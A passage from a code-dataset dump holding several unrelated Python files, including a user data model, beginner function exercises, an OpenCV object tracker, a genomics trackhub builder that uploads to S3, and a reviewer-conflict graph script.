\"PortfolioInvitation\", foreign_keys=PortfolioInvitation.user_id\n )\n sent_portfolio_invitations = relationship(\n \"PortfolioInvitation\", foreign_keys=PortfolioInvitation.inviter_id\n )\n\n application_invitations = relationship(\n \"ApplicationInvitation\", foreign_keys=ApplicationInvitation.user_id\n )\n sent_application_invitations = relationship(\n \"ApplicationInvitation\", foreign_keys=ApplicationInvitation.inviter_id\n )\n\n email = Column(String)\n dod_id = Column(String, unique=True, nullable=False)\n first_name = Column(String)\n last_name = Column(String)\n phone_number = Column(String)\n phone_ext = Column(String)\n service_branch = Column(String)\n citizenship = Column(String)\n designation = Column(String)\n date_latest_training = Column(Date)\n last_login = Column(TIMESTAMP(timezone=True), nullable=True)\n last_session_id = Column(UUID(as_uuid=True), nullable=True)\n\n provisional = Column(Boolean)\n\n cloud_id = Column(String)\n\n REQUIRED_FIELDS = [\n \"email\",\n \"dod_id\",\n \"first_name\",\n \"last_name\",\n \"phone_number\",\n \"service_branch\",\n \"citizenship\",\n \"designation\",\n \"date_latest_training\",\n ]\n\n @property\n def profile_complete(self):\n return all(\n [\n getattr(self, field_name) is not None\n for field_name in self.REQUIRED_FIELDS\n ]\n )\n\n @property\n def full_name(self):\n return \"{} {}\".format(self.first_name, self.last_name)\n\n @property\n def displayname(self):\n return self.full_name\n\n @property\n def portfolio_id(self):\n return None\n\n @property\n def application_id(self):\n return None\n\n def __repr__(self):\n return \"\".format(\n self.full_name, self.dod_id, self.email, self.id\n )\n\n def to_dictionary(self):\n return {\n c.name: getattr(self, c.name)\n for c in self.__table__.columns\n if c.name not in [\"id\"]\n }\n\n @staticmethod\n def audit_update(mapper, connection, target):\n changes = AuditableMixin.get_changes(target)\n if changes and not \"last_login\" in changes:\n target.create_audit_event(connection, target, ACTION_UPDATE)\n\n\nlisten(User.permission_sets, \"bulk_replace\", record_permission_sets_updates, raw=True)\n","repo_name":"jimilinuxguy/atst","sub_path":"atst/models/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":3808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34179505173","text":"def area_triangle(base, height):\n return base*height/2\n\narea_a = area_triangle(5,4)\narea_b = area_triangle(7,3)\nsum = area_a + area_b\n\nprint(\"the sum of both areas is: \" + str(sum))\n\n\n# Use the get_seconds function to work out the\n# amount of seconds in 2 hours and 30 minutes,\n# then add this number to the amount of seconds in\n# 45 minutes and 15 seconds. Then print the result.\n\ndef get_seconds(hours, minutes, seconds):\n return 3600*hours + 60*minutes + seconds\n\namount_a = get_seconds(2,30,0)\namount_b = get_seconds(0,45,15)\nresult = amount_a + amount_b\nprint(result)\n\n\n#\ndef convert_second(seconds):\n hours = seconds // 3600\n minutes = (seconds - hours * 3600) // 60\n remaining_second = seconds - hours * 3600 - minutes * 60\n return hours, minutes, remaining_second\n\nhours, minutes, seconds = convert_second(5000)\nprint(hours, minutes, seconds)\n\n\n\n\n#\ndef greeting(name):\n print(\"welcome, \" + name)\n\nresult = greeting(\"coco\")\n\nprint(result)\n\n#None is a very special data type in Python used to indicate that things are empty or that they return nothing","repo_name":"nurulle/basicPython","sub_path":"Course 1/WEEK 2/returning values.py","file_name":"returning values.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38815018082","text":"# USAGE\n# python track.py --v test.mov\n\nimport numpy as np\nimport argparse\nimport cv2\nfrom OneEuro import OneEuroFilter\n\n#which filter========================================================\ncamshift1_on = True\ncamshift2_on = True\nkalman_on = True\neuro_on = True\n\n#kalman settings========================================================\nkalman = cv2.KalmanFilter(4,2)\ndt = 1 #step interval\nkalman.measurementMatrix = np.array([[1,0,0,0],\n [0,1,0,0]],np.float32)\n\nkalman.transitionMatrix = np.array([[1,0,dt,0],\n [0,1,0,dt],\n [0,0,1,0],\n [0,0,0,1]],np.float32)\n\nkalman.processNoiseCov = np.array([[1,0,0,0],\n [0,1,0,0],\n [0,0,1,0],\n [0,0,0,1]],np.float32) * 0.01 #smoothing\n\nf = 0.1845 #from paper\nkalman.measurementNoiseCov = np.array([[f,f/40],\n [f/40,f/4]],np.float32)\nprediction = np.zeros((4,1), np.float32)\n\n\n\n#euro filter variables========================================================\nfreq = 120 \t\t\t# frequency not needed since using opencv\nmin_cutoff = 0.05 \t# the minimum cutoff rate\nbeta = 1\t\t \t# used for minimizing lag\n\n\n\n#helper functions========================================================\n\n# one euro filter\ndef oef(x_cor, y_cor, t):\n\t#normalize\n\twidth=frame.shape[1]\n\theight=frame.shape[0]\n\n\tretx = x_euro.filter(x_cor/width, t)\n\trety = y_euro.filter(y_cor/height, t)\n\n\treturn (retx*width, rety*height)\n\n\n# initialize the current frame of the video, along with the list of\n# camshift use\nframe = None\nroiPts = []\ninputMode = False\n# helper functions\ndef center(points):\n x = np.float32((points[0][0] + points[1][0] + points[2][0] + points[3][0]) / 4.0)\n y = np.float32((points[0][1] + points[1][1] + points[2][1] + points[3][1]) / 4.0)\n return np.array([np.float32(x), np.float32(y)], np.float32)\n\n\ndef selectROI(event, x, y, flags, param):\n\t# grab the reference to the current frame, list of ROI\n\t# points and whether or not it is ROI selection mode\n\tglobal frame, roiPts, inputMode\n\n\t# select the ROI if less than four points\n\tif inputMode and event == cv2.EVENT_LBUTTONDOWN and len(roiPts) < 4:\n\t\troiPts.append((x, y))\n\t\tcv2.circle(frame, (x, y), 4, (0, 255, 0), 2)\n\t\tcv2.imshow(\"frame\", frame)\n\n\n\n#start============================================================================\n\ndef main():\n\n\t# construct the argument parse and parse the arguments\n\tap = argparse.ArgumentParser()\n\tap.add_argument(\"-v\", \"--video\",\n\t\thelp = \"path to the (optional) video file\")\n\targs = vars(ap.parse_args())\n\n\t# grab the reference to the current frame, list of ROI\n\t# points and whether or not it is ROI selection mode\n\tglobal frame, roiPts, inputMode\n\n\t# if the video path was not supplied, grab the reference to the\n\t# camera\n\tif not args.get(\"video\", False):\n\t\tcamera = cv2.VideoCapture(0)\n\n\t# otherwise, load the video\n\telse:\n\t\tcamera = cv2.VideoCapture(args[\"video\"])\n\n\t# setup the mouse callback\n\tcv2.namedWindow(\"frame\", cv2.WINDOW_NORMAL)\n\tcv2.setMouseCallback(\"frame\", selectROI)\n\n\t# initialize the termination criteria for cam shift, indicating\n\t# a maximum of ten iterations or movement by a least one pixel\n\t# along with the bounding box of the ROI\n\ttermination = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 1)\n\troiBox = None\n\n\t# keep looping over the frames\n\twhile True:\n\t\t# grab the current frame\n\t\t(grabbed, frame) = camera.read()\n\n\t\t# check to see if we have reached the end of the\n\t\t# video\n\t\tif not grabbed:\n\t\t\tbreak\n\n\n\t\tglobal x_euro\n\t\tglobal y_euro\n\n\t\tx_euro = OneEuroFilter(\n\t\t 0, 0,\n\t\t min_cutoff=min_cutoff,\n\t\t beta=beta\n\t\t)\n\n\t\ty_euro = OneEuroFilter(\n\t\t 0, 0,\n\t\t min_cutoff=min_cutoff,\n\t\t beta=beta\n\t\t)\n\n\n\n\t\t# if the see if the ROI has been computed\n\t\tif roiBox is not None:\n\t\t\tstart = cv2.getTickCount()\n\n\n\t\t\t# convert the current frame to the HSV color space\n\t\t\t# and perform mean shift\n\t\t\thsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\t\t\tbackProj = cv2.calcBackProject([hsv], [0], roiHist, [0, 180], 1)\n\n\t\t\t# apply cam shift to the back projection, convert the\n\t\t\t# points to a bounding box, and then draw them\n\t\t\t(r, roiBox) = cv2.CamShift(backProj, roiBox, termination)\n\t\t\tpts = np.int0(cv2.boxPoints(r))\n\n\t\t\t#poly line drawing in YELLOW\n\t\t\tif camshift2_on:\n\t\t\t\tcv2.polylines(frame, [pts], True, (0, 255, 255), 2)\n\n\n\t\t\t# draw observation on image - in GREEN\n\t\t\tx,y,w,h = roiBox\n\t\t\tif camshift1_on:\n\t\t\t\tframe = cv2.rectangle(frame, (x,y), (x+w,y+h), (0,255,0),2)\n\n\t\t\t# extract center of this observation as points\n\t\t\tpts = cv2.boxPoints(r)\n\t\t\tpts = np.int0(pts)\n\t\t\tctr = center(pts)\n\n\n\t\t\t# one eurofilter - in BLACK\n\t\t\ttime = (cv2.getTickCount()-start)/cv2.getTickFrequency()*50\n\t\t\tevals = oef(ctr[0], ctr[1], time)\n\t\t\tif euro_on:\n\t\t\t\tframe = cv2.rectangle(frame, (int(evals[0]),int(evals[1])), (x+int(w*1),y+int(h*1)), (0,0,0),2)\n\n\t\t\t# use to correct kalman filter\n\t\t\t# get new kalman filter prediction\n\t\t\tkalman.correct(ctr)\n\t\t\tprediction = kalman.predict()\n\n\t\t\t# draw predicton on image - in BLUE\n\t\t\tif kalman_on:\n\t\t\t\tframe = cv2.rectangle(frame, (prediction[0]-(0.5*w),prediction[1]-(0.5*h)), (prediction[0]+(0.5*w),prediction[1]+(0.5*h)), (255,0,0),2)\n\n\n\t\t# show the frame and record if the user presses a key\n\t\tcv2.imshow(\"frame\", frame)\n\t\tkey = cv2.waitKey(1) & 0xFF\n\n\t\t# handle if the 'i' key is pressed, then go into ROI\n\t\t# selection mode\n\t\tif key == ord(\"i\") and len(roiPts) < 4:\n\t\t\t# indicate that we are in input mode and clone the\n\t\t\t# frame\n\t\t\tinputMode = True\n\t\t\torig = frame.copy()\n\n\t\t\t# keep looping until 4 reference ROI points have\n\t\t\t# been selected; press any key to exit ROI selction\n\t\t\t# mode once 4 points have been selected\n\t\t\twhile len(roiPts) < 4:\n\t\t\t\tcv2.imshow(\"frame\", frame)\n\t\t\t\tcv2.waitKey(0)\n\n\t\t\t# determine the top-left and bottom-right points\n\t\t\troiPts = np.array(roiPts)\n\t\t\ts = roiPts.sum(axis = 1)\n\t\t\ttl = roiPts[np.argmin(s)]\n\t\t\tbr = roiPts[np.argmax(s)]\n\n\t\t\t# grab the ROI for the bounding box and convert it\n\t\t\t# to the HSV color space\n\t\t\troi = orig[tl[1]:br[1], tl[0]:br[0]]\n\t\t\troi = cv2.cvtColor(roi, cv2.COLOR_BGR2HSV)\n\t\t\t#roi = cv2.cvtColor(roi, cv2.COLOR_BGR2LAB)\n\n\t\t\t# compute a HSV histogram for the ROI and store the\n\t\t\t# bounding box\n\t\t\troiHist = cv2.calcHist([roi], [0], None, [16], [0, 180])\n\t\t\troiHist = cv2.normalize(roiHist, roiHist, 0, 255, cv2.NORM_MINMAX)\n\t\t\troiBox = (tl[0], tl[1], br[0], br[1])\n\n\t\t# if the 'q' key is pressed, stop the loop\n\t\telif key == ord(\"q\"):\n\t\t\tbreak\n\n\t# cleanup the camera and close any open windows\n\tcamera.release()\n\tcv2.destroyAllWindows()\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"MrEricL/cv_project","sub_path":"kalman/track.py","file_name":"track.py","file_ext":"py","file_size_in_byte":6717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43315888423","text":"from ..convert import tobed\n\ndef add_subcommand_tobed(subparsers):\n parser = subparsers.add_parser('tobed')\n parser.set_defaults(func=tobeds)\n parser.add_argument('--version', action='version', version='1.0.0')\n parser.add_argument('pairs', help='pairs file (MUST be sorted by readID)')\n # parser.add_argument('--out', '-o', help='output file prfx')\n parser.add_argument('--rna','-R', help='rna to stdout', action=\"store_true\")\n parser.add_argument('--dna','-D', help='dna to stdout', action=\"store_true\")\n parser.add_argument('--nmax', help='limits parsing to that many reads')\n \n # parser.set_defaults(func=tag)\n\ndef tobeds(args):\n # print('tobed', args)\n from signal import signal, SIGPIPE, SIG_DFL\n signal(SIGPIPE,SIG_DFL) #allows to do head operations without throwing errors\n\n to_stdout=\"rna\"\n # outprfx=args.out\n if (args.rna and args.dna):\n # print(\"Asked for both RNA and DNA heavy output, switched to default RNA\")\n to_stdout=\"rna\"\n # outprfx=None\n elif args.rna:\n to_stdout=\"rna\"\n elif args.dna:\n to_stdout=\"dna\"\n\n # if (args.out is None) and (to_stdout is None):\n # to_stdout=\"both\"\n\n # print(to_stdout)\n tobed(args.pairs, to_stdout=to_stdout, nmax=0)","repo_name":"straightlab/chartools","sub_path":"chartools/cli/tobed.py","file_name":"tobed.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"42467349289","text":"#!/usr/bin/env python\n'''\nCreated on June 10, 2023\n\n@author: byee4\n\nGiven a list of * files makes trackhubs for those files\n\nAssumes that you have an aws profile that is configured with access to yeolab's trackhub bucket.\n\n'''\nimport logging\nimport argparse\nimport re\nimport os\nfrom itertools import groupby\nimport subprocess\nimport time\nfrom trackhub import Hub, GenomesFile, Genome, TrackDb, Track, AggregateTrack, SuperTrack, helpers\nfrom pathlib import Path\nfrom trackhub.upload import upload_hub\n\nimport boto3\nimport botocore\n\nPROFILE = 'yeolab-trackhubs'\n\ndef remove_plus_and_pct(string):\n \"\"\"\n Args:\n string:\n Returns: string after removing all + and all % characters\n \"\"\"\n clean_string = string.replace('+','').replace('%','')\n return clean_string\n\n\ndef copy_file_to_aws(src, bucket, subdir):\n \"\"\"\n Copies a file from local to AWS\n\n :param fn: basestring\n filename of the object that needs to be downloaded.\n :param bucket: basestring\n bucket name (minus the s3:// prefix)\n :param output_dir: basestring\n output directory where the rawdata should go.\n :return:\n \"\"\"\n\n session = boto3.Session(profile_name=PROFILE)\n s3client = session.client(\n 's3',\n )\n\n try:\n s3client.upload_file(\n src, bucket, os.path.join(subdir, os.path.basename(src)), ExtraArgs={'ACL': 'public-read'}\n )\n print(\"Done uploading {} to aws ({})\".format(src, bucket))\n except Exception as e:\n print(e)\n return 1\n\n\ndef copy_dir_to_aws(src, dest):\n \"\"\"\n Copies a directory from local to AWS\n\n :param src: basestring\n local source filename\n :param bucket: basestring\n aws s3 bucket name\n :return:\n \"\"\"\n if not dest.startswith('s3://'):\n dest = 's3://' + dest\n if not dest.endswith('/'):\n dest = dest + '/'\n \n if not src.endswith('/'):\n src = src + '/'\n\n cmd = 'aws s3 cp {} {} --recursive --profile {}'.format(\n src,\n os.path.join(dest),\n PROFILE\n )\n print(\"AWS UPLOAD COMMAND: {}\".format(cmd))\n try:\n print(\"Uploading to aws: {}\".format(cmd))\n ret = subprocess.check_call(cmd, shell=True)\n print(\"Done uploading {} to aws ({}) with a return code of: {}\".format(src, dest, ret))\n time.sleep(1)\n except Exception as e:\n print(e)\n return 1\n\n\nif __name__ == \"__main__\":\n main()\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Takes in files to turn into trackhub. This version automatically ')\n\n # tracks files\n ##############\n parser.add_argument('files', nargs='+', help='Files to turn into track hub')\n\n # namings\n #########\n parser.add_argument('--hub', help=\"hub name (no spaces)\", required=True)\n parser.add_argument('--genome', help=\"genome name\", required=True)\n\n # upload (in fact run_local=True)\n ########\n #parser.add_argument('--no_s3', default=False, action=\"store_true\", help=\"upload to defined server instead of s3\")\n #parser.add_argument('--serverscp', default=\"tscc-login2.sdsc.edu\", help=\"server to SCP to\")\n #parser.add_argument('--user', default='adomissy', help=\"that is uploading files\")\n # parser.add_argument('--uploaddir', default='yeolab-trackhubs', help=\"directory to upload files to if not uploading to aws\")\n\n # web access\n ############\n # parser.add_argument('--urldomain', default=\"s3-us-west-2.amazonaws.com\", help=\"url domain for public access to trackhubs\")\n # parser.add_argument('--urldir', default=\"yeolab-trackhubs\", help=\"url directory for public access to trackhubs\")\n\n # hub labels\n ############\n # parser.add_argument('--hub_short_label', default=None, help=\"short label for hub\")\n # parser.add_argument('--hub_long_label', default=None, help=\"long label for hub\")\n parser.add_argument('--hub_email', default='bay001@ucsd.edu', help=\"email for hub\")\n\n # name parts grouping\n #####################\n parser.add_argument('--sep', default=\".\", help=\"Seperator\")\n parser.add_argument('--num_sep', default=2, type=int, help=\"Number of seperators deep to group on\")\n\n\n ###########################################################################\n args = parser.parse_args()\n\n # Let's keep all trackhubs here for now.\n urldomain = \"s3-us-west-2.amazonaws.com\"\n urldir = \"yeolab-trackhubs\"\n uploaddir = \"yeolab-trackhubs\"\n hub_name = args.hub\n hub_email = args.hub_email\n\n # setup logger\n logger = logging.getLogger('maketrackhubs')\n logger.setLevel(logging.INFO)\n ih = logging.FileHandler('maketrackhubs.log')\n eh = logging.FileHandler('maketrackhubs.err')\n ih.setLevel(logging.INFO)\n eh.setLevel(logging.ERROR)\n logger.addHandler(ih)\n logger.addHandler(eh)\n formatter = logging.Formatter(\n '%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n ih.setFormatter(formatter)\n eh.setFormatter(formatter)\n logger.info(\"starting program\")\n \n \n # default label settings\n ########################\n hub_short_label = hub_name\n hub_long_label = hub_name\n\n # hard coding serverscp, in variable HOST\n HOST=\"localhost\"\n # hard coding user, in variable USER\n USER=\"user\"\n\n GENOME = args.genome\n # hack for tutorial dataset so it is easy to view in ucsd genome browser\n if GENOME == 'hg19chr19kbp255':\n GENOME == 'hg19'\n\n uploaddir = os.path.join(uploaddir, hub_name)\n\n URLBASE = os.path.join(\"http://\" + urldomain + \"/\" + urldir + \"/\", hub_name)\n\n # create data structures\n ########################\n\n hub = Hub(hub=hub_name,\n short_label=hub_short_label,\n long_label=hub_long_label,\n email=hub_email,\n )\n hub.upload_fn = uploaddir\n\n genomes_file = GenomesFile()\n hub.add_genomes_file(genomes_file)\n\n genome = Genome(GENOME)\n genomes_file.add_genome(genome)\n\n trackdb = TrackDb()\n genome.add_trackdb(trackdb)\n\n supertrack = SuperTrack(\n name=hub_name,\n short_label=hub_short_label,\n long_label=hub_long_label\n )\n\n # separate bigwigs, bigbeds and others for different processing methods\n #######################################################################\n\n bigwig_files = [file for file in args.files if file.endswith(\".posbw\") or file.endswith(\".negbw\") or file.endswith(\".bw\") or file.endswith(\".bigWig\")or file.endswith(\".bigwig\")]\n bigbed_files = [file for file in args.files if file.endswith(\".bb\") or file.endswith(\".bigBed\") or file.endswith(\".bigbed\")]\n\n # not used\n #other_files = [file for file in args.files if (file not in bigwig_files and file not in bigbed_files )]\n\n # process bigwig files , re-grouped by third 2 dot-sepatarated name-parts, as multitracks\n ##########################################################################################\n key_func = lambda x: os.path.basename(x).split(args.sep)[:args.num_sep]\n for group_key, group_bigwig_files in groupby(sorted(bigwig_files, key=key_func), key_func):\n\n group_bigwig_files_list = list(group_bigwig_files)\n logger.info(\"args sep: {}\".format(args.sep))\n logger.info(\"args num sep: {}\".format(args.num_sep))\n logger.info(\"split filename: {}\".format(bigwig_files[0].split(args.sep)[:args.num_sep]))\n logger.info(\"-----------------------------------------\")\n logger.info(\"processing bigwig files group with key : {}\".format(group_key))\n logger.info(\"comprised of following files: {}\".format(group_bigwig_files_list))\n logger.info(\"-----------------------------------------\")\n\n long_name = os.path.basename(args.sep.join(group_key[:args.num_sep]))\n logger.info(\"long_name: {}\".format(long_name))\n sanitized_long_name = helpers.sanitize(long_name)\n logger.info(\"sanitized_long_name: {}\".format(sanitized_long_name))\n aggregate = AggregateTrack(\n name=sanitized_long_name,\n tracktype='bigWig',\n short_label=sanitized_long_name,\n long_label=sanitized_long_name,\n aggregate='transparentOverlay',\n showSubtrackColorOnUi='on',\n autoScale='on',\n priority='1.4',\n alwaysZero='on',\n visibility=\"full\"\n )\n \n for bigwigfile in group_bigwig_files_list:\n logger.info(\"--------------------------\")\n logger.info(\"bigwigfile: {}\".format(bigwigfile))\n logger.info(\"--------------------------\")\n base_track = os.path.basename(bigwigfile)\n logger.info(\"Base track: {}\".format(base_track))\n sanitized_base_track = helpers.sanitize(base_track)\n logger.info(\"Sanitized: {}\".format(sanitized_base_track))\n \n if \"pos\" in bigwigfile or \"plus\" in bigwigfile:\n color = \"0,100,0\" \n else:\n color = \"100,0,0\"\n track = Track(\n name=sanitized_base_track,\n url=os.path.join(URLBASE, GENOME, base_track),\n tracktype=\"bigWig\",\n short_label=sanitized_base_track,\n long_label=sanitized_base_track,\n color=color,\n local_fn=bigwigfile,\n remote_fn=os.path.join(GENOME, base_track)\n )\n logger.info(\"aggregate.add_subtrack: {}\".format(track.name))\n aggregate.add_subtrack(track)\n supertrack.add_tracks(aggregate)\n\n # process bigbed files as single track\n ######################################\n\n for bigbed_file in bigbed_files:\n\n logger.info(\"--------------------------\")\n logger.info(\"bigbedfile: {}\".format(bigbed_file))\n logger.info(\"--------------------------\")\n\n if \"pos\" in bigbed_file or \"plus\" in bigbed_file:\n color = \"0,100,0\" \n else:\n color = \"100,0,0\"\n base_track = os.path.basename(bigbed_file)\n long_name = args.sep.join(base_track.split(args.sep)[:args.num_sep])\n sanitized_long_name = helpers.sanitize(long_name)\n logger.info(f\"base_track: {base_track}\")\n logger.info(f\"long_name: {long_name}\")\n logger.info(f\"sanitized_long_name: {sanitized_long_name}\")\n \n track = Track(\n name=sanitized_long_name,\n url=os.path.join(URLBASE, GENOME, base_track),\n tracktype=\"bigBed\",\n short_label=sanitized_long_name,\n long_label=sanitized_long_name,\n color=color,\n local_fn=bigbed_file,\n remote_fn=os.path.join(GENOME, base_track),\n visibility=\"dense\"\n )\n supertrack.add_tracks(track)\n\n trackdb.add_tracks(supertrack)\n result = hub.render()\n \n hub.remote_fn = os.path.join(uploaddir, \"{}.hub.txt\".format(hub_name))\n\n # process bigbed files (bam?)\n ######################\n ## UNUSED\n # if bigwigfile.endswith(\".bw\") or bigwigfile.endswith('.bigWig'): tracktype = \"bigWig\"\n # if bigwigfile.endswith(\".bb\") or bigwigfile.endswith('.bigBed'): tracktype = \"bigBed\"\n # if bigwigfile.endswith(\".bam\"): tracktype = \"bam\"\n \n # 'upolading' (locally)\n ########################\n # for track in trackdb.tracks:\n #print(\"upload_track(track=\" + track.__repr__() + \", host=\" + args.serverscp + \", user=\" + args.user + \"run_local=True\")\n #upload_track(track=track, host=args.serverscp, user=args.user)\n # upload_track(track=track, host=args.serverscp, user=args.user, run_s3=args.no_s3)\n # upload_track(track=track, host=HOST, user=USER, run_local=True)\n\n #print(\"upload_hub(hub=\" + hub.__repr__() + \", host=\" + args.serverscp + \", user=\" + args.user + \"run_local=True\")\n #upload_hub(hub=hub, host=args.serverscp, user=args.user)\n # upload_hub(hub=hub, host=args.serverscp, user=args.user, run_s3=args.no_s3)\n \n logger.info(\"Uploaddir = {}\".format(uploaddir))\n Path(uploaddir).mkdir( parents=True, exist_ok=True )\n upload_hub(hub=hub, host=HOST, remote_dir=uploaddir)\n #\n logger.info(\"UPLOADDIR: {}\".format(uploaddir))\n logger.info(\"BUCKET: {}\".format(uploaddir))\n copy_dir_to_aws(\n src=uploaddir,\n dest=uploaddir,\n )\n print(\"FINAL URL: {}/{}.hub.txt\".format(URLBASE, hub_name))\n","repo_name":"YeoLab/maketrackhubs","sub_path":"maketrackhubs/make_trackhubs.py","file_name":"make_trackhubs.py","file_ext":"py","file_size_in_byte":12377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31812229777","text":"import community\nimport csv\nimport datetime\nimport json\nimport matplotlib.pyplot as plt; plt.rcdefaults()\nimport networkx as nx\nimport os\nimport pprint\nimport sys\n\nfrom argparse import ArgumentParser\nfrom networkx.algorithms import bipartite\n\npp = pprint.PrettyPrinter(depth=6)\n\ncanonical_conflicts = {\n 'fb.com': 'facebook.com',\n 'uiuc.edu': 'illinois.edu'\n}\n\ndef draw_bipartite_graph(G):\n X, Y = bipartite.sets(G)\n pos = dict()\n pos.update( (n, (1, i)) for i, n in enumerate(X) ) # put nodes from X at x=1\n pos.update( (n, (2, i)) for i, n in enumerate(Y) ) # put nodes from Y at x=2\n nx.draw(G, pos=pos, with_labels=True, font_size=8, node_size=1000)\n\n fig = plt.gcf()\n plt.tight_layout()\n fig.set_size_inches(148, 84)\n plt.savefig('bipartite-graph.png')\n\ndef draw_weighted_graph(G, fn, layout=None):\n plt.gcf().clear()\n plt.clf()\n try:\n exxlarge = [(u, v) for (u, v, d) in G.edges(data=True) if d['weight'] >= 8]\n exlarge = [(u, v) for (u, v, d) in G.edges(data=True) if d['weight'] >= 5 and d['weight'] < 8]\n elarge = [(u, v) for (u, v, d) in G.edges(data=True) if d['weight'] >= 3 and d['weight'] < 5]\n esmall = [(u, v) for (u, v, d) in G.edges(data=True) if d['weight'] >= 1 and d['weight'] < 3]\n except:\n exxlarge = [(u, v) for (u, v, d) in G.edges(data=True)]\n exlarge = [(u, v) for (u, v, d) in G.edges(data=True)]\n elarge = [(u, v) for (u, v, d) in G.edges(data=True)]\n esmall = [(u, v) for (u, v, d) in G.edges(data=True)]\n\n if layout is None:\n pos = nx.spring_layout(G, iterations=2) # positions for all nodes\n else:\n pos = layout(G)\n\n # nodes\n nx.draw_networkx_nodes(G, pos, node_size=2000)\n\n # edges\n nx.draw_networkx_edges(G, pos, edgelist=exlarge,\n width=6, edge_color='r')\n\n nx.draw_networkx_edges(G, pos, edgelist=exlarge,\n width=6, edge_color='y')\n\n nx.draw_networkx_edges(G, pos, edgelist=elarge,\n width=3, edge_color='b')\n\n nx.draw_networkx_edges(G, pos, edgelist=esmall,\n width=2, alpha=0.5, edge_color='g', style='dashed')\n\n # labels\n nx.draw_networkx_labels(G, pos, font_size=10, font_family='sans-serif')\n \n edge_labels = []\n for u,v,d in G.edges(data=True):\n if 'attr' in d:\n edge_labels.append(((u,v),d['attr']['label']))\n edge_labels = dict(edge_labels)\n nx.draw_networkx_edge_labels(G, pos, edge_labels = edge_labels)\n fig = plt.gcf()\n plt.tight_layout()\n fig.set_size_inches(18.5, 10.5)\n plt.savefig(fn)\n plt.gcf().clear()\n plt.clf()\n\ndef normalize_conflicts(conflicts):\n normalized_conflicts = []\n for c in conflicts:\n if c.startswith('cs.'):\n c = c.replace('cs.','')\n if c.startswith('cse.'):\n c = c.replace('cse.','')\n if c in canonical_conflicts:\n c = canonical_conflicts[c] \n normalized_conflicts.append(c)\n\n return list(set(normalized_conflicts))\n\ndef parse_users(users_fn):\n users = {}\n organizations = {}\n with open(users_fn, 'r') as f:\n data = f.readlines()\n for d, datum in enumerate(data):\n # Skip the header\n # First Name Middle Initial (optional) Last Name E-mail Organization Domain Conflicts\n if d == 0:\n continue\n firstname, _, lastname, email, org, conflicts = datum.split('\\t')\n\n conflicts_list = []\n for c in conflicts.split(';'):\n if c.strip() != '':\n conflicts_list.append(c.strip())\n \n users['{} | {}'.format(lastname, firstname)] = \\\n {'lastname': lastname, 'firstname': firstname, 'email': email, 'org': org, 'conflicts': conflicts_list}\n\n return users, organizations\n\ndef autofill_institution_conflicts(metareviewer):\n org = metareviewer['org']\n lastname = metareviewer['lastname']\n firstname = metareviewer['firstname']\n conflicts = []\n if 'MIT' in org:\n conflicts.append('mit.edu')\n if 'University of Pennsylvania' in org:\n conflicts.append('upenn.edu')\n if 'Nanyang Technological University' in org:\n conflicts.append('ntu.edu.sg')\n if 'UCSD' in org:\n conflicts.append('ucsd.edu')\n if 'Stony Brook University' in org:\n conflicts.append('stonybrook.edu')\n if 'UIUC' in org:\n conflicts.append('illinois.edu')\n if 'Simon Fraser University' in org:\n conflicts.append('sfu.ca')\n if 'UC Berkeley' in org:\n conflicts.append('berkeley.edu')\n \n metareviewer['conflicts'].extend(conflicts)\n if len(metareviewer['conflicts']) > 0:\n metareviewer['conflicts-entered'] = True\n\ndef conflict_exceptions(metareviewer):\n # Not the most efficient way of doing this, but exception list is small so not a big deal\n with open('conflict-exceptions.json', 'r') as fin:\n exceptions = json.load(fin)\n for e in exceptions:\n if e['firstname'].strip() == metareviewer['firstname'].strip() and e['lastname'].strip() == metareviewer['lastname'].strip():\n if len(set(metareviewer['conflicts']).intersection(set(e['conflicts']))) == len(set(metareviewer['conflicts'])):\n print ('\\tUpdating conflicts for {} {}'.format(e['firstname'], e['lastname']))\n metareviewer['conflicts'] = e['revised-conflicts']\n\ndef parse_metareviewers(metareviewers_fn, users, organizations):\n metareviewers = {}\n domains = []\n with open(metareviewers_fn, encoding='latin-1') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n for d, datum in enumerate(spamreader):\n # Skip the header\n # 'First Name', 'Last Name', 'Email', 'Organization', 'Assigned', 'Completed', '% Completed', \n # 'Bids', 'Domain Conflicts Entered', 'User Type', 'Selected', 'Primary', 'Secondary'\n if d == 0:\n continue\n firstname, lastname, email, org, assigned, comp, comp_percent, bids, conflicts_entered, user_type, sa_selected, sa_primary, sa_secondary = \\\n datum\n key = '{} | {}'.format(lastname, firstname)\n metareviewers[key] = {\n 'lastname': lastname, \n 'firstname': firstname, \n 'email': email, \n 'org': org,\n 'original-conflicts': users[key]['conflicts'],\n 'original-conflicts-entered': True if conflicts_entered == 'Yes' else False,\n 'conflicts': users[key]['conflicts'], # Field name changes later\n 'conflicts-entered': True if conflicts_entered == 'Yes' else False, # Field name changes later\n 'assigned': assigned,\n 'completed': comp,\n 'completed percent': comp_percent,\n 'bids': bids,\n 'user type': user_type,\n 'selected': sa_selected,\n 'primary': sa_primary,\n 'secondary': sa_secondary\n }\n \n metareviewers[key]['conflicts'] = normalize_conflicts(metareviewers[key]['conflicts'])\n \n conflict_exceptions(metareviewers[key])\n if not metareviewers[key]['conflicts-entered']:\n autofill_institution_conflicts(metareviewers[key])\n \n domains.extend(metareviewers[key]['conflicts']) \n if not metareviewers[key]['conflicts-entered']:\n print (datum)\n print (metareviewers[key])\n print (organizations[metareviewers[key]['org']])\n sys.exit(1)\n domains = list(set(domains))\n return metareviewers, domains\n\ndef normalize_names(key):\n mapping = {\n 'Schwing | Alexander': 'Schwing | Alex',\n 'Taylor | Camillo' : 'Taylor | Camillo J.',\n 'Wu | Ying Nian' : 'Wu | 